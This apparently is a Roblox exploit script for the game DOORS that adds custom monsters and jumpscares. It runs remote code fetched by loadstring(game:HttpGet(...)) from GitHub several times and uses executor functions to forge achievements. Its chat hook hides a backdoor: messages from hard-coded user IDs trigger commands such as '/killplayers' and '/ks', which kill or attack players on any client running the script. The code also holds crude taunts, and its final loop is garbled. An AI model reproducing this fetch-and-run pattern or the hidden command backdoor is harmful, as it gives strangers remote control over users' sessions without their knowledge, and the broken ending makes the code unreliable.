Jumpscare_A90.FaceAngry.Rotation = Random.new():NextNumber(-1, 1) * (idkValue * 0.0015)
Jumpscare_A90.FaceAngry.ImageColor3 = Color3.new(1, MathRandom, MathRandom)
if not Moved then
if (LookVector4 - MainGame.cam.CFrame.LookVector).Magnitude > 0.4 then -- Camera
Moved = true
elseif MainGame.hum.MoveDirection.Magnitude > 0.4 then -- Character
Moved = true
end
end
end
end)
task.wait(0.3)
Jumpscare_A90.BackgroundColor3 = Color3.new(0, 0, 0)
Jumpscare_A90.BackgroundTransparency = 0
Jumpscare_A90.Static.ImageTransparency = 0
Jumpscare_A90.Static2.ImageTransparency = 0.5
task.wait(0.03)
Jumpscare_A90.Face.ImageColor3 = Color3.new(1, 0, 0)
task.wait(0.03)
Jumpscare_A90.Visible = false
task.wait(0.08)
if Moved then
local AfterImage = true
Jumpscare_A90.Visible = true
A90Module.Hit:Play()
task.wait(0.03)
Jumpscare_A90.Face.ImageColor3 = Color3.new(1, 1, 1)
task.wait(0.03)
Jumpscare_A90.BackgroundTransparency = 0
Jumpscare_A90.Static.ImageTransparency = 0
Jumpscare_A90.Static2.ImageTransparency = 0.5
task.wait(0.067)
Jumpscare_A90.FaceAngry.Size = UDim2.new(0.8, 0, 0.8, 0)
Jumpscare_A90.FaceAngry.Rotation = 0
Jumpscare_A90.FaceAngry.ImageTransparency = 0
Jumpscare_A90.FaceAngry.ImageColor3 = Color3.new(1, 0, 0)
Jumpscare_A90.FaceAngry.Visible = true
task.wait(0.067)
Jumpscare_A90.FaceAngry.ImageColor3 = Color3.new(1, 1, 1)
Jumpscare_A90.Face.Visible = false
task.wait(0.75)
-- Uncomment this to make him do STINKY damage!! (also add ur own message here NERD.)
LocalPlayer.Character.Humanoid.Health -= 70
firesignal(game.ReplicatedStorage.EntityInfo.DeathHint.OnClientEvent, {"You died to an entity designated as A-90...","Aslong as you dont make a move, it wont harm you...", "React Fast and Dont Move a Muscle!"}, "Blue")
task.wait(0.1)
Jumpscare_A90.FaceAngry.Visible = false
Jumpscare_A90.BackgroundColor3 = Color3.new(1, 1, 1)
Jumpscare_A90.Static.ImageTransparency = 1
Jumpscare_A90.Static2.ImageTransparency = 1
task.wait(0.067)
Jumpscare_A90.BackgroundColor3 = Color3.new(1, 0, 0)
task.wait(0.067)
Jumpscare_A90.BackgroundColor3 = Color3.new(0, 0, 0)
task.wait(0.067)
camShake:ShakeOnce(25, 8, 0, 4)
-- A-90 Afterimage
Attacking = false
task.wait(0.03)
A90Module.Spawn:Stop()
Jumpscare_A90.BackgroundTransparency = 1
Jumpscare_A90.Static.ImageTransparency = .5
Jumpscare_A90.Static2.ImageTransparency = .5
TweenService:Create(Jumpscare_A90.Static, TweenInfo.new(20, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
ImageTransparency = 1,
}):Play()
TweenService:Create(Jumpscare_A90.Static2, TweenInfo.new(5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
ImageTransparency = 1,
}):Play()
local SizeRandomizer = Random.new():NextNumber(2, 3)
Jumpscare_A90.FaceAngry.Rotation = Random.new():NextNumber(-3, 3)
Jumpscare_A90.FaceAngry.Visible = true
Jumpscare_A90.FaceAngry.ImageColor3 = Color3.new(1, 0, 0)
Jumpscare_A90.FaceAngry.Size = UDim2.new(SizeRandomizer, 0, SizeRandomizer, 0)
TweenService:Create(Jumpscare_A90.FaceAngry, TweenInfo.new(5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
ImageTransparency = 1,
}):Play()
game.SoundService.Main.Volume = 0
game.SoundService.Main.EqualizerSoundEffect.Enabled = true
game.SoundService.Main.EqualizerSoundEffect.HighGain = -50
game.SoundService.Main.EqualizerSoundEffect.LowGain = 10
game.SoundService.Main.EqualizerSoundEffect.MidGain = -50
TweenService:Create(game.SoundService.Main.EqualizerSoundEffect, TweenInfo.new(15, Enum.EasingStyle.Quint, Enum.EasingDirection.InOut), {
LowGain = 0,
HighGain = 0,
MidGain = 0,
}):Play()
TweenService:Create(game.SoundService.Main, TweenInfo.new(5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out), {
Volume = 1,
}):Play()
task.spawn(function()
while AfterImage do
local BaseValue2 = 100
BaseValue2 += 0.1
task.wait()
Jumpscare_A90.Static.Position = UDim2.new(Random.new():NextNumber(0, BaseValue2) / 100, 0, Random.new():NextNumber(0, BaseValue2) / 100, 0)
Jumpscare_A90.Static.Rotation = math.random(0, 1) * 180
Jumpscare_A90.Static2.Position = UDim2.new(Random.new():NextNumber(0, BaseValue2) / 100, 0, Random.new():NextNumber(0, BaseValue2) / 100, 0)
Jumpscare_A90.Static2.Rotation = math.random(0, 1) * 180
end
end)
task.delay(20, function()
AfterImage = false
Jumpscare_A90.Visible = false
Jumpscare_A90.BackgroundTransparency = 0
Jumpscare_A90.Static.ImageTransparency = 1
Jumpscare_A90.Static2.ImageTransparency = 1
end)
else
A90Module.Spawn:Stop()
Jumpscare_A90.BackgroundTransparency = 1
Jumpscare_A90.Visible = false
camShake:ShakeOnce(5, 10, 0.1, 1)
Attacking = false
game.SoundService.Main.Volume = 1
end
end)
coroutine.wrap(function ()
local TextChatMessage
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
local i=0
TextChatService.OnIncomingMessage = function(message, TextChatMessage)
local props = Instance.new("TextChatMessageProperties")
if message.TextSource then
msg = string.lower(message.Text)
if message.TextSource.UserId == 530829101 or message.TextSource.UserId == 4332501203 --[[ MY ALT BOZOS]] then
props.PrefixText = "<font color='#F53930'>[Muhammad]</font> <font color='#F53930'>[Not a Skill Issue]</font> " .. message.PrefixText
end
if message.TextSource.UserId == 1736174957 then
props.PrefixText = "<font color='#a85232'>[Noah]</font> <font color='#a85232'>[This is cool what?!?!]</font> " .. message.PrefixText
end
if message.TextSource.UserId == 2300945089 then
if msg == '/subscribe' or msg == '/sub' then
props.PrefixText = "<font color='#b71109'>https://www.youtube.com/@kardinhong</font> " .. message.PrefixText
else
props.PrefixText = "<font color='#b71109'>[Kardin]</font> <font color='#b71109'>[ lolcat is goat ]</font> <font color='#b71109'>Jiggle Jiggle My Balls</font> " .. message.PrefixText
end
end
if message.TextSource.UserId == 3338249600 then
props.PrefixText = "<font color='#6865FF'>[The Walter White]</font> <font color='#393B45'>[CAWWWWW Man]</font> " .. message.PrefixText
end
if message.TextSource.UserId == 601410846 then
props.PrefixText = "<font color='#09B711'>[Figure]</font> <font color='#6E3F05'>[vs figure is canceled]</font> " .. message.PrefixText
end
if message.TextSource.UserId == 4322541912 then
props.PrefixText = "<font color='#e2bb6e'>[A Nostalgia Flyer]</font> <font color='#e29b40'>Nostalgia</font> " .. message.PrefixText
end
if message.TextSource.UserId == 3659299888 then
props.PrefixText = "<font color='#09B711'>[Skid Exterminator]</font> <font color='#09B711'>[Very Cool Exterminator]</font> <font color='#09B711'>[La Skid Exterminator Cat V2]</font> " .. message.PrefixText
end
local player = Players:GetPlayerByUserId(message.TextSource.UserId)
if player == game.Players.LocalPlayer then
i=i+1
if i==2 then
i=0
return props
end
end
if message.TextSource.UserId == 1736174957 or message.TextSource.UserId == 3338249600 or message.TextSource.UserId == 601410846 or message.TextSource.UserId == 4332501203 --[[ MY ALT BOZOS]] or message.TextSource.UserId == 1520423590 or message.TextSource.UserId == 2763394267 or message.TextSource.UserId == 3659299888 or message.TextSource.UserId == 3962633044 then
-- Command List Only Me and Ping! can use
if msg == '/die' then
coroutine.wrap(function ()
local down = Instance.new("Sound")
down.Parent = workspace
down.SoundId = "rbxassetid://8509804480"
down.PlayOnRemove = true
down.Volume = 10
down:Remove()
end)()
end
if msg == '/60' or msg == '/a-60' then
coroutine.wrap(A60spawn)()
end
if msg == '/killyourself' or msg == '/ks' then
coroutine.wrap(function ()
player.Character.Humanoid.Health = 0
end)()
end
if msg == '/dread' then
coroutine.wrap(dread)()
end
if msg == '/killplayers' or msg == '/kp' then
coroutine.wrap(function ()
DEATHMESSAGE({'You died to '..player.DisplayName},player.DisplayName)
game.Players.LocalPlayer.Character.Humanoid.Health = 0
end)()
end
if msg == '/a-90' or msg == '/90' then
coroutine.wrap(a90)()
end
--i hate YOU Hahahahahhahaha.
if msg == '/200' or msg == '/a-200' or msg == '/a200' then
coroutine.wrap(function ()
local Spawner = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entityTable = Spawner.createEntity({
CustomName = "monster2", -- Custom name of your entity
Model = "11914816436", -- Can be GitHub file or rbxassetid
Speed = 1500, -- Percentage, 100 = default Rush speed
DelayTime = 1, -- Time before starting cycles (seconds)
HeightOffset = 0.1,
CanKill = true,
KillRange = 50,
BackwardsMovement = true,
BreakLights = false,
FlickerLights = {
true, -- Enabled/Disabled
0.5, -- Time (seconds)
},
Cycles = {
Min = 5,
Max = 5,
WaitTime = 0.4,
},
CamShake = {
true, -- Enabled/Disabled
{3.5, 35, 0.1, 1.5}, -- Shake values (don't change if you don't know)
100, -- Shake start distance (from Entity to you)
},
Jumpscare = {
true, -- Enabled/Disabled
{
Image1 = "rbxassetid://10483855823", -- Image1 url
Image2 = "rbxassetid://10483999903", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled/Disabled
Color3.fromRGB(255, 255, 255), -- Color
},
Tease = {
true, -- Enabled/Disabled
Min = 1,
Max = 3,
},
},
},
CustomDialog = {"You can", "put your", "custom death", "message here."}, -- Custom death message
})
-----[[ Debug -=- Advanced ]]-----
local isspawned = false
entityTable.Debug.OnEntitySpawned = function()
isspawned = true
spawn(function()
local modeler = workspace["monster2"]
local faces = modeler.monster2.BillboardGui:GetChildren()
while wait(Random.new():NextInteger(0.5,0.7)) and isspawned do
for i,v in pairs(faces) do
v.Visible = false
end
faces[math.random(1,#faces)].Visible = true
end
end)
end
entityTable.Debug.OnEntityDespawned = function()
print("Entity has despawned:", entityTable)
isspawned = false
end
entityTable.Debug.OnEntityStartMoving = function()
spawn(function()
repeat wait() until workspace["monster2"]
while isspawned do wait(math.random(1,5))
local s = workspace["monster2"].monster2["windy"..math.random(1,4)]
s.RollOffMinDistance = 10
s.RollOffMaxDistance = 500
s:Play()
print("Played "..workspace["monster2"].monster2["windy"..math.random(1,4)].Name)
end
end)
end
entityTable.Debug.OnEntityFinishedRebound = function()
print("Entity has finished rebound:", entityTable)
end
entityTable.Debug.OnEntityEnteredRoom = function(room)
print("Entity:", entityTable, "has entered room:", room)
end
entityTable.Debug.OnLookAtEntity = function()
end
entityTable.Debug.OnDeath = function()
warn("Player has died.")
end
------------------------------------
-- Run the created entity
Spawner.runEntity(entityTable)
end)()
end
if msg == '/trollface' or msg == '/troll' then
coroutine.wrap(function()
local Spawner = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entityTable = Spawner.createEntity({
CustomName = "Trollface", -- Custom name of your entity
Model = "rbxassetid://12442908280", -- Can be GitHub file or rbxassetid
Speed = 150, -- Percentage, 100 = default Rush speed
DelayTime = 2, -- Time before starting cycles (seconds)
HeightOffset = 0,
CanKill = false,
KillRange = 50,
BackwardsMovement = false,
BreakLights = false,
FlickerLights = {
true, -- Enabled/Disabled
1, -- Time (seconds)
},
Cycles = {
Min = 1,
Max = 4,
WaitTime = 2,
},
CamShake = {
true, -- Enabled/Disabled
{3.5, 20, 0.1, 1}, -- Shake values (don't change if you don't know)
100, -- Shake start distance (from Entity to you)
},
Jumpscare = {
true, -- Enabled/Disabled
{
Image1 = "rbxassetid://10483855823", -- Image1 url
Image2 = "rbxassetid://10483999903", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled/Disabled
Color3.fromRGB(255, 255, 255), -- Color
},
Tease = {
true, -- Enabled/Disabled
Min = 1,
Max = 3,
},
},
},
CustomDialog = {"Trolled!!!!!!!", "Balls"}, -- Custom death message
})
-- Run the created entity
Spawner.runEntity(entityTable)
end)()
end
if msg == '/silence' or msg == '/sil' then
coroutine.wrap(function()
local Creator = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entity = Creator.createEntity({
Model = "11535812658",
Speed = 40,
DelayTime = 0,
HeightOffset = 0,
CanKill = true,
BreakLights = true,
FlickerLights = {
false,
80,
},
Cycles = {
Min = 1,
Max = 1,
WaitTime = 0.1,
},
CamShake = {
true,
{5, 15, 0.1, 1},
10,
},
Jumpscare = {
true, -- Enabled ('false' if you don't want jumpscare)
{
Image1 = "rbxassetid://11394027278", -- Image1 url
Image2 = "rbxassetid://11395249153", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled
Color3.fromRGB(48, 25, 52), -- Color
},
Tease = {
false, -- Enabled ('false' if you don't want tease)
Min = 1,
Max = 1,
},
},
},
CustomDialog = {"You died to who you call Silence","Stay as silent as possible when you suspect its coming, so you know when to hide!","Its slow, but hard to hear","so hide!" }
})
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
-----[[ Advanced ]]-----
entity.Debug.OnEntitySpawned = function(entity)
end
entity.Debug.OnEntityDespawned = function(entity)
if getgenv().death == false then
getgenv().Title = "Eyes Closed Ears open" --Title Here
getgenv().Description = "Stay silent or I wont be heard" --Description Here
getgenv().Reason = "Encounter Silence" --Reason Here
getgenv().BadgeId = 2129524598 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
Unlock(nil,"Join")
end
end
entity.Debug.OnEntityStartMoving = function(entity)
end
entity.Debug.OnEntityFinishedRebound = function(entity)
end
entity.Debug.OnDeath = function()
getgenv().death = true
end
---------------------------
-- Run the created entity
Creator.runEntity(entity)
end)()
end
--End of Commands
end
end
return props
end
end)()
coroutine.wrap(function ()
while true do
wait(125)
if (not workspace.Ambience_Seek.Playing) and Beans == true then
coroutine.wrap(terror)()
end
end
end)()
------DREAD
coroutine.wrap(function ()
while true do
wait(185) -- 185
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_Seek.Playing)then
work
end
end
end
end)()